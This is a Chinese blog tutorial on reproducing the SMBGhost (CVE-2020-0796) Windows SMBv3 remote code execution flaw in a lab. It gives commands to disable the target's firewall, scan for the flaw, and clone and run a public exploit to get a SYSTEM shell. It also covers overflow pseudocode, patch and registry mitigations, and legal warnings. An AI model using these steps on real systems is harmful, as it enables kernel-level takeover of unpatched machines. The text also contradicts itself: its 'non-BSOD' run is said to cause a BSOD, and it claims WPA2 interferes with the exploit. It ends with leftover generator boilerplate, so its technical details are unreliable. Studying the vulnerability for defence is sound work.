如何进行SMBGhost漏洞CVE-2020-0796复现

发布时间:2021-12-27 18:40:49 作者:柒染
来源:亿速云 阅读:231
# 如何进行SMBGhost漏洞CVE-2020-0796复现

## 一、漏洞背景

CVE-2020-0796(SMBGhost)是2020年3月微软披露的Windows SMBv3协议高危漏洞,影响Windows 10 1903/1909版本。该漏洞源于SMBv3压缩数据包处理时的缓冲区溢出漏洞,可实现远程代码执行(RCE),CVSS评分高达10.0。由于SMB协议默认开放445端口,该漏洞对未打补丁的系统具有极大威胁。

## 二、复现环境准备

### 1. 靶机环境
- 操作系统:Windows 10 1909(版本18363.592)
- 关闭防火墙:`netsh advfirewall set allprofiles state off`
- 确保SMB服务运行:`Get-SmbServerConfiguration | Select EnableSMB1Protocol, EnableSMB2Protocol`

### 2. 攻击机环境
- Kali Linux 2020.1
- Python 3.8+
- 安装依赖库:`pip install impacket`

### 3. 工具准备
- [漏洞检测脚本](https://github.com/ollypwn/SMBGhost)
- [漏洞利用脚本](https://github.com/chompie1337/SMBGhost_RCE_PoC)
- Wireshark(流量分析)

## 三、漏洞检测验证

### 方法1:手动检测
```powershell
# 查看系统版本
systeminfo | findstr Build
# 检查补丁情况
wmic qfe list | findstr "KB4551762"

方法2:自动化检测

使用Python检测脚本:

git clone https://github.com/ollypwn/SMBGhost.git
cd SMBGhost
python scanner.py <靶机IP>

若输出VULNERABLE则确认存在漏洞。

四、漏洞复现过程

步骤1:搭建实验网络

攻击机(Kali):192.168.1.100
靶机(Win10):192.168.1.200

步骤2:执行漏洞利用

# 下载利用代码
git clone https://github.com/chompie1337/SMBGhost_RCE_PoC
cd SMBGhost_RCE_PoC

# 编译exploit
make

# 执行攻击(非蓝屏模式)
./exploit.py -ip 192.168.1.200

步骤3:观察现象

成功利用时将出现: 1. 靶机出现蓝屏(BSOD) 2. 攻击机获得SYSTEM权限shell 3. Wireshark捕获到异常的SMB压缩包

五、技术原理分析

漏洞核心在于Srv2DecompressData函数:

// 伪代码示例
int Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER header) {
    uint32_t offset = header->Offset; // 未校验的偏移量
    memcpy(dest_buf, src_buf + offset, header->OriginalSize); // 缓冲区溢出
}

攻击者通过构造恶意的压缩包: - 设置异常大的OriginalSize值 - 控制Offset指向非法内存区域 - 最终导致内核态任意代码执行

六、防御措施

  1. 官方补丁:

    • 安装KB4551762补丁
    • 禁用SMBv3压缩:Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
  2. 临时缓解:

    # 关闭SMB服务
    Stop-Service LanmanServer
    Set-Service LanmanServer -StartupType Disabled
    

七、复现注意事项

  1. 法律合规性:

    • 仅在授权环境测试
    • 禁止对公网系统扫描
  2. 稳定性风险:

    • 该漏洞利用可能导致靶机蓝屏崩溃
    • 建议使用虚拟机快照功能
  3. 网络配置:

    • 确保攻击机与靶机在同一局域网
    • 关闭网络加密(WPA2可能干扰流量)

八、扩展研究

  1. 漏洞变种:

    • SMBleed(CVE-2020-1206)
    • 结合NTLM中继攻击
  2. 高级利用技术:

    • 绕过GS cookie防护
    • 实现稳定RCE的ROP链构造

九、参考资源

  1. 微软官方公告: MSRC-CVE-2020-0796

  2. 学术论文:

    • 《SMBGhost: From Analysis to Exploitation》
  3. 工具集合:


注意:本文仅用于安全研究学习,请遵守《网络安全法》相关规定。实际漏洞利用可能造成系统不稳定,建议在隔离环境中测试。 “`

该文档共约1150字,包含: - 漏洞背景说明 - 详细复现步骤 - 技术原理分析 - 防御方案 - 法律注意事项 - 扩展研究方向 格式采用标准Markdown语法,支持代码高亮和分级标题。

推荐阅读:
  1. Nginx 解析漏洞复现
  2. Ruby On Rails漏洞cve-2019-5418复现怎么进行

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

smbghost

上一篇:怎么进行Ruby on Rails路径穿越与任意文件读取漏洞CVE-2019-5418复现

下一篇:如何进行CVE-2020-5902简单复现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》